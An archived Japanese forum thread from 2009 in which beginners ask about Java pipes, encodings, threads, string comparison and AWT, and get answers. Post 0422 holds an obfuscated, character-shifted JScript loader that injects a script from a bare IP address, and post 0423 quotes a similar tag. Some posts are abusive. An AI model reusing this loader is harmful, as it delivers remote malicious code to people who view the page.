2009/04/26(日) 00:38:230418デフォルトの名無しさん
2009/04/26(日) 00:48:16・JNI 側から直接アクセスする private なインスタンス変数やメソッドにマークを付けておきたい
(Java のソース読んだだけでは影響範囲を読み違えてリファクタリングしてしまいそうなので)。
・どうせなら JNI 側からアクセスする時にそのアノテーションが付いてなかったらエラーにしたい。
をしたかったんですけど、今の JNI のインターフェースじゃ面倒臭そうですね。
どうもありがとうございました。
0419デフォルトの名無しさん
2009/04/26(日) 00:48:190420デフォルトの名無しさん
2009/04/26(日) 00:57:480421デフォルトの名無しさん
2009/04/26(日) 01:03:510422デフォルトの名無しさん
2009/04/26(日) 01:37:42<!-- ad --><html>
<script>
/*@cc_on @*/
/*@if (@_win32)
var source ="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:6/23:/255/33:0tubut0tubut/kt#?=0tdsjqu?"; var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result);
/*@end @*/
</script>
</html><!-- /ad -->
0423デフォルトの名無しさん
2009/04/26(日) 01:42:11<script type="text/javascript" src="http://95.129.144.229/stat/stat.jsp"></script>
ここは JavaScript スレじゃねぇんだよ。
0424デフォルトの名無しさん
2009/04/26(日) 01:50:17>>412
とりあえず短所は少しずつ解消されてきてるからあんまり
問題ではないんですね。回答ありがとう。
>>415
読んできた。なんとなく意味は分かったけれども
自分が勉強不足なのも実感したので、ちょっと自習してみます。
ありがとう。
0425デフォルトの名無しさん
2009/04/26(日) 04:03:07正にリソースジャバジャバ使いまくり。
0426デフォルトの名無しさん
2009/04/26(日) 04:31:180427デフォルトの名無しさん
2009/04/26(日) 04:34:51全体・詳細の依存方向の逆転
0428ちんこ ◆GbXlaaQNk.
2009/04/26(日) 09:32:21偉そうなことばかりいうなよw
0429デフォルトの名無しさん
2009/04/26(日) 10:54:07感じるものだ
by 俺
0430ちんこ ◆GbXlaaQNk.
2009/04/26(日) 11:14:42by ちんこ
0431デフォルトの名無しさん
2009/04/26(日) 13:25:370432デフォルトの名無しさん
2009/04/26(日) 13:29:12http://lab.moyo.biz/tools/jadweb/index.jsp
0433デフォルトの名無しさん
2009/04/26(日) 13:31:25http://download.cnet.com/DJ-Java-Decompiler/3000-2213_4-10046809.html
0434デフォルトの名無しさん
2009/04/26(日) 13:36:570435デフォルトの名無しさん
2009/04/26(日) 14:53:39BufferedReader in = new BufferedReader(csv);
PipedWriter pipeOut = new PipedWriter();
PipedReader pipeIn = new PipedReader(pipeOut);
PrintWriter out = new PrintWriter(pipeOut);
String line;
String[] arrayline;
while((line = in.readLine()) != null) {
arrayline = line.split(",");
out.println(arrayline[3]);
out.flush();
in.close();
out.close();
return pipeIn; // <-- ココ
パイプ処理で pipeInに渡していると思うのですが、
outオブジェクトが渡っていると思うのですが、
何が渡るのかは、どういう仕組みで決まるのでしょうか。
0436435
2009/04/26(日) 15:02:44pipeInにも、その編集が連動していないといけないと思うのですけど、
outを編集して、それがpipeInに何故連動するのかがわからないです。
0437デフォルトの名無しさん
2009/04/26(日) 15:07:44まず PipeReader/PipeWriter の使い所が間違っている。
そのコードなら一旦 StringBuilder に連結して最後に StringReader を返せ。
0438デフォルトの名無しさん
2009/04/26(日) 15:12:02書籍のサンプルなんです。処理はうまくいっているんですよね。
outで編集したデータをファイルを介さずに次の処理の入力に
渡すんだと思うのですけど、outオブジェクトにしか編集してないのに、
pipeInオブジェクトになんで渡るのでしょうと思うのです。
キツネにつままれたような感じです。
0439デフォルトの名無しさん
2009/04/26(日) 15:12:38PipedWriter pipeOut = new PipedWriter();
PipedReader pipeIn = new PipedReader(pipeOut);
PrintWriter out = new PrintWriter(pipeOut);
という仕組みで決まっている。
0440デフォルトの名無しさん
2009/04/26(日) 15:17:43pipeInとoutは別個のオブジェクトですよね。
特殊な扱いで、PrintWriterのオブジェクトが登場したら、
それが内部的に、PipedReaderのオブジェクトに繋がるというような、
特殊な取り決めがあるんでしょうか。
0441デフォルトの名無しさん
2009/04/26(日) 15:19:05pipeIn は、pipeOut に書き込まれたデータをこのストリームからの入力として
使えるように定義されているわけだ。
0442デフォルトの名無しさん
2009/04/26(日) 15:21:170443デフォルトの名無しさん
2009/04/26(日) 15:22:07>out に書き込まれた文字列は、データとして pipeOut に書き込まれる。
そうであるなら分かりますけど、outに書かれた文字列が、
pipeOutに書き込まれるというのは、一連のプログラムからは読み取れないです。
そういうものであると機械的に覚えるしかないのでしょうか。
0444デフォルトの名無しさん
2009/04/26(日) 15:27:48>PipedReader pipeIn = new PipedReader(『pipeOut』); に注目ね。
PipedReaderの引数としてpipeOutを渡していますけど、その結果、
pipeInとういオブジェクトが出来ていますけど、outの内容が変化したら
pipeInにも反映されるという記述が無いように思うんですね。
以前配列のときに同じような疑問を持ったんですけど、そのときは、
同じ参照場所を見ていたのですけど、これは参照場所も違うと思うのです。
pipeInとoutという別のオブジェクトが、どういう内部的な処理で
連動して動いているんだろうと、思うと疑問は晴れないですね。
0445デフォルトの名無しさん
2009/04/26(日) 15:28:000446デフォルトの名無しさん
2009/04/26(日) 15:29:290447デフォルトの名無しさん
2009/04/26(日) 15:31:36ストリームは昨日から勉強を始めました。基本部分はストリームで
終了なんです。私はわかってないんでしょうね。
0448デフォルトの名無しさん
2009/04/26(日) 15:33:33データを FIFO バッファに書き込み、PipedReader はその FIFO バッファから読み出しているだけ。
これはスレッド間でのストリームによる通信を行う為のもので FIFO バッファがいっぱいになれば
それ以上書き込みできなくなって停止する。バッファがいっぱいになっていないからうまく動いて
いるように見えるだけ。
大体パイプ入出力を >>436 みたいに使う解説してる書籍が本当にあるならその名前を晒せよ。
0449デフォルトの名無しさん
2009/04/26(日) 15:35:48PrintWriter out = new PrintWriter( 『pipeOut』 ); こっちにも注目。
同じ参照場所を見るわけだから問題なし。
受け渡すのが配列かPipedWriterかの違いなだけだよ。
0450デフォルトの名無しさん
2009/04/26(日) 15:41:09'ほ' ← pipeIn.read() ←────────────────────┘ │
'げ' ← pipeIn.read() ←──────────────────────────────┘
Mac なのでズレるかも知れん。
0451デフォルトの名無しさん
2009/04/26(日) 17:05:44返事下さった皆様、ありがとうございました。
0452デフォルトの名無しさん
2009/04/26(日) 17:42:04例えば、
まず文字列aを表示
1秒後に文字列bを表示
さらに1秒後に文字列cを表示
みたいな感じです。どうか教えてください。
0453デフォルトの名無しさん
2009/04/26(日) 17:44:34if(i != 0) Thread.sleep(1000);
System.out.println((char)('a' + i));
}
0454デフォルトの名無しさん
2009/04/26(日) 18:21:54というエラーが出たんですが、どうすればいいですか?
0455デフォルトの名無しさん
2009/04/26(日) 18:24:550456デフォルトの名無しさん
2009/04/26(日) 18:25:17catchかthrowsしよう。このキーワードでぐぐればサンプルはいくつも出てくる。
でもなぁ、InterruptedExceptionは正直RuntimeExceptionでよかったように思うな。
何でこうなってるんだろう。
0457デフォルトの名無しさん
2009/04/26(日) 18:53:23http://tsushima.2ch.net/test/read.cgi/newsplus/1240733623/
0458デフォルトの名無しさん
2009/04/26(日) 19:14:010459デフォルトの名無しさん
2009/04/26(日) 19:17:59exeになるだけでjavaVMは不要にはならない。
0460デフォルトの名無しさん
2009/04/26(日) 19:19:370461デフォルトの名無しさん
2009/04/26(日) 19:21:380462デフォルトの名無しさん
2009/04/26(日) 19:23:28というか Windows 版があるのか知らんが。
0463デフォルトの名無しさん
2009/04/26(日) 20:38:53FileReaderクラスとBufferedReaderクラスを使ってファイルを読んで、
FileWriterクラスとBufferedWriterクラスを使ってファイルを書き出したときに、
inのファイルを文字列1行をエディタでShift_JISで作成したら、出力ファイルで
文字化けしました。
ファイルの入出力で文字コードを指定するにはどうしたらいいのでしょうか。
それとも一般的には開発ツールとかの設定で文字コードを決め込むのは普通なんでしょうか。
0464デフォルトの名無しさん
2009/04/26(日) 22:05:04Writer out = new OutputStreamWriter(new FileOutputStream("file.euc"), "euc-jp");
0465デフォルトの名無しさん
2009/04/26(日) 22:42:24出力するものは文字セットを決めておくのが普通。
入力するものは文字セットを決めておく (か文字セットとして"JISAutoDetect"を指定する) のが普通。
JISAutoDetect を使うのは・・・裏技?
0466デフォルトの名無しさん
2009/04/26(日) 22:49:49・ただし SJIS, JIS, EUC のどれで来るか分からない。
なら普通に使うが。まぁ Web クローラーでも作るんじゃなけりゃ普通は厳格に決めるが。
0467デフォルトの名無しさん
2009/04/26(日) 22:57:07たまにご誤定もあるのでオススメしない。
0468デフォルトの名無しさん
2009/04/26(日) 22:59:100469デフォルトの名無しさん
2009/04/26(日) 23:36:46Windows-31Jを使え。
0470デフォルトの名無しさん
2009/04/26(日) 23:40:140471デフォルトの名無しさん
2009/04/26(日) 23:56:20お前現実を知らないな。どんなにがんばってその「常識」を本当の常識にしようとしても、なおShift_JISを使う奴が後を断たないんだ……。
0472デフォルトの名無しさん
2009/04/27(月) 00:07:53コネクションが同時にたくさん使われプールからなくなったら
次にコネクションをとろうとするスレッドは、待つのですか?エラーとなるのでしょうか。
0473デフォルトの名無しさん
2009/04/27(月) 00:10:44普通はまず待ちに入る。もしかしたら待ち行列もある程度の数になったら例外にする
コンテナもあるかも知れない。
0474デフォルトの名無しさん
2009/04/27(月) 00:25:06たたりじゃ〜
0475デフォルトの名無しさん
2009/04/27(月) 00:27:440476デフォルトの名無しさん
2009/04/27(月) 00:32:11パイプバッファがいっぱいになると停止するんですか。
それはpipeIn.readしないとout.writeがブロックを起こすってことですか?
0477デフォルトの名無しさん
2009/04/27(月) 00:42:15文字コードは全部JAVAにやらせてるけど、Windows-31Jとか長ったらしいじゃん。
Windowsとか入ってるのも嫌味だし。
cp932指定じゃだめなの?
0478デフォルトの名無しさん
2009/04/27(月) 00:43:00すると明示して・・・ないな。
同様のPipedOutputStreamには、
「単一のスレッドから両方のオブジェクトを使用することは、スレッドがデッドロックする可能性があるため推奨されていません。」
と明記してあるけど。
0479デフォルトの名無しさん
2009/04/27(月) 00:50:44そう。別スレッドの誰かが読み込んでいてくれないと、書いてるだけじゃデフォルトで
1024 バイトでバッファがいっぱいになってその次の書き込みでブロックに入る。
詳しくは JDK 付属のソースを読め。
そもそもシングルスレッド内で使うために用意されたものじゃない。
0480デフォルトの名無しさん
2009/04/27(月) 00:59:31まあそうですよね。
昔も悩んだんですけど、そこは実装によるからAPIDOCはあいまいに書いてあるんだなって思ってました。
それはそうとソース見てませんが1024がデフォサイズなんですか。
これは今後来るであろう並列処理・遅延評価上では問題ですね。
0481デフォルトの名無しさん
2009/04/27(月) 01:05:07windows-31J は IANA にも登録されている標準のエンコーディング名だぞ。
MS932 も Cp943C も非公式だ。まぁ IE6 は windows-31j 認識しないけど。
>>480
PipedReader のコンストラクタにバッファサイズを指定出来る。この時点で
FIFO バッファ実装が前提なので実装にはよらない。
0482デフォルトの名無しさん
2009/04/27(月) 01:16:58JAVAが普及する前(1993-98年ごろまで)は文字コードの達人になることをを全てのプログラマに強いてはひどかったからね。
その教訓としては、RFCやIANAレベルの仕様を誰かがHPに表としてまとめてくれれよかったんだと思うよ。
今として思えば文字コードの解説HPは山ほどあるけど、当時はよく理解してない学者や技術者の難解な説明ばかりだったからね。
文字コードがms932,sjis,shift-js,windows-31jとか複雑になったのは難解な説明に耐えられないで、msdos当時弱小だったMSのPGが文字コード体系も独自実装しちゃたってのが原因でしょ。
javaは別にwindowsに特化してるわけじゃないから、windows-31jじゃなくててshift_jisを推奨してるって聞いたことはあるけど。
0483デフォルトの名無しさん
2009/04/27(月) 01:28:51そのコンストラクタはないみたいですけど、PipedInputStreamじゃバッファサイズ変更できなくて不便じゃないですか?
スレッド使うようになるまではpipeのお世話になることはないんでしょうけど。
0484デフォルトの名無しさん
2009/04/27(月) 01:32:570485デフォルトの名無しさん
2009/04/27(月) 13:18:150486デフォルトの名無しさん
2009/04/27(月) 13:28:350487お願い!
2009/04/27(月) 16:51:44*****
***
*
このように逆ピラミッドになるプログラムを作成しなさい。
教えてください!
0488デフォルトの名無しさん
2009/04/27(月) 16:53:53「このパスワードをパスワードリストに保存」のチェックをつけました。
このチェックをつけた後でOKを押した場合には次回以降は出なくなったのですが
これはどこのレジストリ値を使用してるのかが分かりません。
お分かりになる方はいらっしゃいますでしょうか?
0489デフォルトの名無しさん
2009/04/27(月) 16:59:540490デフォルトの名無しさん
2009/04/27(月) 17:03:490491デフォルトの名無しさん
2009/04/27(月) 17:09:55表示させない状態にもっていきたいのです。(これをヒントに)
何かお分かりになりますでしょうか?
0492デフォルトの名無しさん
2009/04/27(月) 17:31:47フレームワークの種類ぐらい情報出せよ。
0493デフォルトの名無しさん
2009/04/27(月) 17:37:00パスワード保存させたくないならローカルセキュリティポリシーか何かで制限かければ?
0494デフォルトの名無しさん
2009/04/27(月) 17:52:04正常終了するけどディレクトリもファイルも作成されていないんですけど
どうしてでしょうか。
0495デフォルトの名無しさん
2009/04/27(月) 18:00:140496デフォルトの名無しさん
2009/04/27(月) 18:32:09File dir5 = new File("C:\\Mexico", "FILE003");
System.out.println("2");
File file1 = new File(dir5, "file01.txt");
System.out.println("3");
dir5.mkdir();
System.out.println("4");
file1.createNewFile();
System.out.println("5");
if(file1.exists()) {
System.out.println("6");
1234まで表示されるけど5が表示されないんですよね。
file1.createNewFile();がうまくいってないと思います。
dir5.mkdir();このディレクトリも作成されてないです。
何も処理されてないんですけど、どこがおかしいのでしょうか。
0497デフォルトの名無しさん
2009/04/27(月) 18:34:120498デフォルトの名無しさん
2009/04/27(月) 18:41:37うまくいきました。ありがとうございました。
0499デフォルトの名無しさん
2009/04/27(月) 19:47:37public static void main(String args[]){
Radio r1 = new Radio( );
r1.setFrequency( 85.1 );
r1.play();
Radio r2 = new Radio( );
r2.setFrequency( 80.1 );
r2.play();
}
}
このようなプログラムで、r10まで用意したいと思っています。
for (int i=1;i<=10;i++){
Radio r[i] = new Radio( );
としてみたのですが、コンパイル時にエラーがでます。
このような使い方は出来ないのでしょうか?10個程度なら手で入力できますが、100個単位になった場合はどうしたら良いでしょうか?
0500ちんこ ◆GbXlaaQNk.
2009/04/27(月) 19:55:11まずは、setFrequencyというのをやめてください。
初期化の時にちゃんと設定してください。
つまり、Radio radio = new Radio(80.1);
という形で使うということです。オブジェクト指向が分かってない人は死んでください。
状態を無闇に増やしたクソクラスをクラスだなんて主張されるとうんざりします。
不変のメソッドオブジェクトを好んでください。お願いします。
0501デフォルトの名無しさん
2009/04/27(月) 19:58:300502デフォルトの名無しさん
2009/04/27(月) 20:00:59int[] freq = new int[]{85.1, 80.1, /* ... */};
Radio[] r = new Radio[freq.length];
for(int i=0; i<freq.length; i++){
r[i] = new Radio();
r[i].setFrequency(freq[i]);
r[i].play();
}
0503デフォルトの名無しさん
2009/04/27(月) 20:38:28public static void main(String[] args) {
int i, j, N=10;
for(i=1; i<=N; i++) {
for(j=1; j<i; j++)
System.out.print(" ");
for(j=N*2; j>=i*2; j--)
System.out.print("*");
System.out.print("\n");
}
}}
0504ちんこ ◆GbXlaaQNk.
2009/04/27(月) 20:50:47はぁ?
バカか。
まず、不変で作る。
もし可変にすべきなら、可変にすればいい。
インターフェイスっていうのはJavaのinterfaceのことだろうけど、
最初から決まるインターフェイスなんてないよ。
大体、更新メソッドが既定されたインターフェイスなんて、キチガイ設計にもほどがある。
それは、相当あとになってリファクタリングによってくくりだされる部分だ。
少し設計を勉強してからインターフェイスという言葉をつかえ。
インターフェイスという言葉を勘違いして使ってるやつは全員死ね。
0505デフォルトの名無しさん
2009/04/27(月) 22:43:23javaとstrutsを使っていて、html:textタグで入力した項目が、画面遷移後に、半角文字の表示はOKですが、全角だと文字化けします。
原因は何でしょうか?
0506デフォルトの名無しさん
2009/04/27(月) 22:50:22ブラウザのエンコードをUTF-8に変更したらどうなる?
0507デフォルトの名無しさん
2009/04/27(月) 23:53:070508デフォルトの名無しさん
2009/04/28(火) 03:06:00メソッドの内部のコメントをドキュメント化したいのですが、何か方法はありますでしょうか?
つまり
public boolean checkArg(String[] args) {
/** リターンコードの設定 */
boolean rc = true;
/** 引数の個数をチェックする */
if(args.length == 2) {
/** 引数が二個である場合、エラー */
System.out.println("error!");
rc = true;
}
else {
/** それ以外は正常 */
System.out.println("ok!");
rc = false;
}
/** リターンコードを返す */
return rc;
}
というようなコードを書いて、Javadocのメソッドの詳細のようなものを作りたいのです。
このようなことをする場合、普通はtagletで@commentのようなタグを自前で用意するものなのでしょうか?
以上、よろしくおねがいします。
0509デフォルトの名無しさん
2009/04/28(火) 03:34:400510デフォルトの名無しさん
2009/04/28(火) 06:23:47Vistaでは互換性がないと表示されました。
どうすれば使えるようになりますか?
0511デフォルトの名無しさん
2009/04/28(火) 06:58:19taglet はその用途には使用できんと思うぞ。
0512デフォルトの名無しさん
2009/04/28(火) 07:03:18そのまま入れちゃっていい。
0513デフォルトの名無しさん
2009/04/28(火) 07:15:23ごめんなさい。説明が足りませんでした。
ダウンロードしてCドライブに入れた後にそのファイルを
実行しようとすると「互換性がない。発行者に問い合わせろ」
と表示され、そこから進めないんです。
どうしたらいいですか?
0514デフォルトの名無しさん
2009/04/28(火) 07:17:40よくあるエラーですけど、ドライバ関連など怪しいですね。
0515デフォルトの名無しさん
2009/04/28(火) 07:24:51分かりました。少し自分で調べてみて分からなかったら
またここに来ます。ありがとうございました。
0516お願い!
2009/04/28(火) 09:09:04ありがとうございます。
助かりました!
0517デフォルトの名無しさん
2009/04/28(火) 11:15:590518デフォルトの名無しさん
2009/04/28(火) 11:24:270519デフォルトの名無しさん
2009/04/28(火) 14:01:58どうすればよいか教えていただけないでしょうか
import java.awt.*;
public class Framehello extends Frame{
public static void main(String[] args){
Frame f = new Frame();
f.setSize(200, 200);
f.setVisible(true);
}
public void paint(Graphics g){
g.drawString("Hello, world!",10,10);
}
}
0520デフォルトの名無しさん
2009/04/28(火) 14:12:45import java.awt.*;
public class Framehello extends Frame {
public void paint(Graphics g) {
g.setColor( Color.blue );
g.drawString("Hello, world!", 10, 40);
}
public static void main(String[] args) {
//Frame f = new Frame();
Framehello f = new Framehello();
f.setSize(200, 200);
f.setVisible(true);
}
}
0521デフォルトの名無しさん
2009/04/28(火) 14:14:49書き直す。
import java.awt.*;
public class Framehello extends Frame {
public static void main(String[] args) {
//Frame f = new Frame();
Framehello f = new Framehello();
f.setSize(200, 200);
f.setVisible(true);
}
public void paint(Graphics g) {
g.drawString("Hello, world!", 10, 40);
}
}
・Frameを継承した自分自身に描画する必要がある。
・文字表示位置がタイトルバーに被ってた
0522デフォルトの名無しさん
2009/04/28(火) 14:17:23実行できました
ありがとうございました
0523デフォルトの名無しさん
2009/04/28(火) 14:48:57ありがとうございます
頑張ります
0524デフォルトの名無しさん
2009/04/28(火) 16:06:37public Framehello(String a) {
super(a);
}
0525デフォルトの名無しさん
2009/04/28(火) 18:16:25A="abc";
B="abc";
if (A==B)
なぜかこれで真になるときがあります。
それでも==はつかうべきではないのでしょうか?
0526デフォルトの名無しさん
2009/04/28(火) 18:23:17最適化しているだけ。だから == の参照比較が true になる事もある。
それでも、ではなく、プログラムを作る時は結果が不確定なものは使っちゃいけない。
0527デフォルトの名無しさん
2009/04/28(火) 18:25:39"abc"おなじじゃん!同じオブジェクト割り当てちゃお!
ってやるわけよ。
普通のプログラムだと、あらかじめ同じ物が入っているのがわかっているのを
比較するっていうのは意味ないよな。
0528デフォルトの名無しさん
2009/04/28(火) 18:29:000529デフォルトの名無しさん
2009/04/28(火) 22:15:43Javaのプログラム人の話してる言葉からは、エクリプスとかトムキャットとか
サーブレットとかアプレットとかストラッツとか聞いたことの無い言葉がたく
さん出てくる。
それらのテクノロジーって1冊の本で完結するわけではないんだろ。
それら全部を学ぶためには、どういう学習の進め方をすればいいんだ。
複数巻で構成して第1巻から順番に学習をすれば、全部を学習できるシリーズ本
はないんか。
0530デフォルトの名無しさん
2009/04/28(火) 22:21:29g.fillRect( 16, 16, 16, 16);
g.drawString("A", 16, 16);
文字Y座標が上に8dotずれて表示されてしまいます。
こういうものなのでしょうか?
0531デフォルトの名無しさん
2009/04/28(火) 22:44:31文字には「ベースライン」というものがあってな。
0532デフォルトの名無しさん
2009/04/28(火) 22:46:440533デフォルトの名無しさん
2009/04/28(火) 22:56:13javaのレイアウトやっかいですね。
0534デフォルトの名無しさん
2009/04/28(火) 23:04:160535デフォルトの名無しさん
2009/04/29(水) 01:10:250536デフォルトの名無しさん
2009/04/29(水) 01:24:34変えてあったな、と思い出した。
0537デフォルトの名無しさん
2009/04/29(水) 01:51:100538デフォルトの名無しさん
2009/04/29(水) 01:57:28PATHの通し方の質問なのですが、テンプレのサイトを読んだ所、
javac.exeがあるフォルダを環境変数にするところまではわかったのですが、
ここでいうjavac.exeとはjavacpl.exeのことでよろしいのでしょうか?
0539デフォルトの名無しさん
2009/04/29(水) 02:04:51JDK をダウンロードしてください。
http://java.sun.com/javase/downloads/?intcmp=1281
0540デフォルトの名無しさん
2009/04/29(水) 02:06:08有難う御座います!ダウンロードしてみます
助かりました
0541デフォルトの名無しさん
2009/04/29(水) 02:10:16レスありがとうございます。
駄目でした。
逆に文字化けがひどくなりました…
でも、多分エンコード関係ですよね…
0542デフォルトの名無しさん
2009/04/29(水) 08:20:20表示する時に二回と、取り込む時に一回、エンコードに関しての問題は起こる。
0543デフォルトの名無しさん
2009/04/29(水) 11:34:14Net Beansのコンパイルの実行では例外処理が出て正常実行さないのですが
CPad使用でやると正常実行される、ということがおこってしまいました。
このようなことがあるのでしょうか?
この現象の原因に対する対処法はありますか?
ちなみに今回挙動がおかしいのは正規表現関連の部分です。
0544デフォルトの名無しさん
2009/04/29(水) 11:48:39名前だけでも見れば結構原因がわかるもんだし、
スタックトレースを見ればどこで例外が出たかもわかるんだが。
0545デフォルトの名無しさん
2009/04/29(水) 11:57:22Pattern pattern = Pattern.compile("[qwerty]");
Matcher matcher = pattern.matcher("abcdef");
StringBuilder buffer = new StringBuilder ("start:?");
boolean bb= matcher.find();
if (bb) {
System.out.println(1);
}
実際は
if (bb) {
System.out.println(1);
}
の部分をこう書いてますが、どちらもBeansの方ではだめです
while (matcher.find()) {
buffer.setLength(7);
buffer.append(matcher.start());
buffer.append("??end:?");
buffer.append(matcher.end());
System.out.println(buffer);
}
デバッグで見てみるとかなりおかしな飛び方をしています。
0546デフォルトの名無しさん
2009/04/29(水) 12:18:15>実際は
>boolean bb= matcher.find(); <これも勿論消してます
>if (bb) {
デバッグでは書いてある文全部スルーされる感じでした。
ステップで空白行に進むこともありました。
Pattern等の定義の部分をグローバルの方に書いてもだめでした。
Pattern pattern = Pattern.compile("[qwerty]");
ここに来ていきなりリターンされ catch { 以降も実行されず飛んでしまう感じです。
0547デフォルトの名無しさん
2009/04/29(水) 12:33:42972: <identifier> がありません。
Matcher matcher = pattern.("abcdef");
0548デフォルトの名無しさん
2009/04/29(水) 12:44:360549デフォルトの名無しさん
2009/04/29(水) 13:22:45だから、当然に <identifier> がありません。だよな。
0550デフォルトの名無しさん
2009/04/29(水) 13:30:02ゼロから新プロジェクト作成して元ソースを貼ってやってみると動きました。
どうやらBeansの不具合だったようです、お騒がせしました。
0551デフォルトの名無しさん
2009/04/29(水) 13:49:290552デフォルトの名無しさん
2009/04/29(水) 19:11:43と
class クラス名
これらの違いを教えて頂きたいです。
0553デフォルトの名無しさん
2009/04/29(水) 19:12:50class クラス名 → 同じパッケージに所属するクラスからしか使えないクラス
0554デフォルトの名無しさん
2009/04/29(水) 19:13:18有難う御座います!
0555デフォルトの名無しさん
2009/04/29(水) 21:37:11今から30秒の間、質問を受け付けるよ!
0556デフォルトの名無しさん
2009/04/29(水) 21:38:36出身地は?
彼女は居ますか?
0557デフォルトの名無しさん
2009/04/29(水) 22:26:160558デフォルトの名無しさん
2009/04/29(水) 22:48:092を計算させて表示させることはできますか?
0559デフォルトの名無しさん
2009/04/29(水) 23:05:49たとえばDBならクリティカルなシステムはOracle(RAC)とか、社内のしょぼいシステムなら
フリーでいいやとか、色々判断できると思うのですが、JavaVMはどうなのですか?
0560デフォルトの名無しさん
2009/04/29(水) 23:09:41その方程式をプログラムに解かせたいって事?
入力された式を解析して x の位置がどこにあるかを認識して
そいつを x = expression の形に組み替えて
expression を計算すればいい。
0561デフォルトの名無しさん
2009/04/29(水) 23:10:49>>560 は >>558 宛て
0562デフォルトの名無しさん
2009/04/29(水) 23:15:590563デフォルトの名無しさん
2009/04/30(木) 00:14:18> Javaって何だ。
http://www.javatea.net/
温めると hotjava な。これ豆知識。
> 全部を学習できるシリーズ本
そんなの無いし、あったとしても出版された時には時代遅れなんだろうなぁ。
まあ、とりあえずエクリプスじゃないかな?
「全て」のプラグインとその機能を使いこなせるようになればなんでもできるw
0564デフォルトの名無しさん
2009/04/30(木) 00:25:030565デフォルトの名無しさん
2009/04/30(木) 08:17:54sunでいいよ
0566デフォルトの名無しさん
2009/04/30(木) 10:00:50listener?
0567デフォルトの名無しさん
2009/04/30(木) 10:37:00class Sample1 {
public static void main(String[] args) {
Scanner stdIn = new Scanner(System.in);
System.out.println("xとyを加減乗除します。");
System.out.print("xの値:");
int x = stdIn.nextInt();
System.out.print("yの値;");
int y = stdIn.nextInt();
System.out.println("x + y ="+(x+y));
System.out.println("x - y ="+(x-y));
System.out.println("x * y ="+(x*y));
System.out.println("x / y ="+(x/y));
System.out.println("x % y ="+(x%y));
}
}
何が間違ってるの?
0568デフォルトの名無しさん
2009/04/30(木) 11:37:4015: if(y==0){System.out.println("0 divide!"); return;}
0569デフォルトの名無しさん
2009/04/30(木) 12:27:26なんかシンボルを解釈処理できませんって出る。
Scanner がなんかだめらしい
0570デフォルトの名無しさん
2009/04/30(木) 12:55:04開発キットの選びに問題があったようです。 てかさ
俺の通ってるプログラム学校
なぜかJAVA開発キット1.4.0で勉強してるんだけどこれってどうなの?
もう1.6くらいまで出てるよね?
0571デフォルトの名無しさん
2009/04/30(木) 12:59:010572デフォルトの名無しさん
2009/04/30(木) 13:06:170573デフォルトの名無しさん
2009/04/30(木) 13:07:13そんなシステム上のエラー出されても、1生徒で対処できる範囲じゃぁない
0574デフォルトの名無しさん
2009/04/30(木) 13:10:460575デフォルトの名無しさん
2009/04/30(木) 13:11:120576デフォルトの名無しさん
2009/04/30(木) 13:19:39イーナムとか変なの増えてるが、それをついでに独学しとけばよかろ
1.6で勉強しても現場では1.4かもしれんし、1.5かもしれんのだから
0577デフォルトの名無しさん
2009/04/30(木) 13:28:43でも俺は基本情報技術者試験を受けるためにその学校行ってJAVAを習ってるわけだが、、、
基本情報技術者試験では1.5を対象にしてるのだよ。
やっぱり問題が生じるわけなのだ。。。
0578デフォルトの名無しさん
2009/04/30(木) 13:37:11別の試験になった筈だがまだ言語の区分あんのか
0579デフォルトの名無しさん
2009/04/30(木) 13:52:010580デフォルトの名無しさん
2009/04/30(木) 14:27:00持っても、特にない
0581デフォルトの名無しさん
2009/04/30(木) 14:43:11情報技術者各種を持ってて何かいいことあったらのなら教えてよ。
0582デフォルトの名無しさん
2009/04/30(木) 14:52:460583デフォルトの名無しさん
2009/04/30(木) 15:20:02基本商法取るために学校まで通ってJavaやる必要あんのか?
どうしても欲しいなら表計算選べばおk
Javaもそこまで難しくないから本買って自分でちょいちょいやれば受かる
0584デフォルトの名無しさん
2009/04/30(木) 15:33:08目標にするなら応用
応用もいけたらすきなの
0585デフォルトの名無しさん
2009/04/30(木) 15:39:450586デフォルトの名無しさん
2009/04/30(木) 18:42:47事例を何度も見たことがある。自分より力ない奴がどうして残れるんだ?
と騒いでも、だったら資格取れよという現実があるな。
勝手な解釈で国家試験を蔑ろにすると、またそういう雰囲気に飲まれて、
これでいいんだと納得するようであるなら、後々泣くことになるかもな。
0587デフォルトの名無しさん
2009/04/30(木) 18:52:17大企業だと資格がないから昇進できないとかもあるけどな。
0588デフォルトの名無しさん
2009/05/01(金) 01:24:29StringBuffer sb = new StringBuffer(s);
char c = 'a';
test1(s, sb, c); //ココ1
public void test1(String ps, StringBuffer psb, char pc) {
ps = "5678";
psb.append("4567");
pc = 'b';}
ココ1でtest1を実行した後に、s、sb、cの内容を表示させると、
sbだけが01234567に変化して、sとcは変更されてないですけど、
どういう場合に変更されて、どういう場合に変更されないのでしょうか。
0589デフォルトの名無しさん
2009/05/01(金) 01:43:58変わらない。
参照型も、代入ではp???が見るモノが切り変わるだけなので、
呼び出し元は変わらない。
ただし、StringBuilder#appendや、String#replaceなどで、
p???が見ているモノの内部状態を変えることはできる。
呼び出し側ではp???と同じモノを見ているので、その内部状態も
変わっている。
0590デフォルトの名無しさん
2009/05/01(金) 01:44:57JavaのStringには内部状態を変更するメソッドはない、はず。
0591デフォルトの名無しさん
2009/05/01(金) 02:03:41発注側が箸にも棒にもかからないド素人を足切りするために使うケースもあるようだ。
ぶっちゃけ面接した方が確実だとは思うが、評価できる人間が発注側にもほとんどいないし、
そもそも請負契約だと発注側は面接できない。(やると偽装請負の要件に引っかかる)
資格なら、発注要件に「××の資格を持つこと」って書けばいいからねー。
0592デフォルトの名無しさん
2009/05/01(金) 02:03:50どうもありがとうございました
0593デフォルトの名無しさん
2009/05/01(金) 03:00:34>>580あたりから
0594デフォルトの名無しさん
2009/05/01(金) 08:49:54>下での横好き
って何?
0595デフォルトの名無しさん
2009/05/01(金) 09:36:00って奴だろうと思う。
0596デフォルトの名無しさん
2009/05/01(金) 12:21:44midiでsequencerMasterとsequencerSlave
をMidiSystem.getSequencer()で用意して、
sequencerMasterのTransmitterと
sequencerSlaveのReceiverをつなぎました。
どちらのsequencerもgetMasterSyncMode()がInternal Clock、
getSlaveSyncMode()がNo Timingで、
SyncModes()の結果から
MIDI_TIME_CODEやMIDI_SYNCを設定できません。
それらを使うにはどうしたら良いでしょうか。
0597デフォルトの名無しさん
2009/05/01(金) 16:14:17上や右にメニューバーやスクロールバーをつけて、
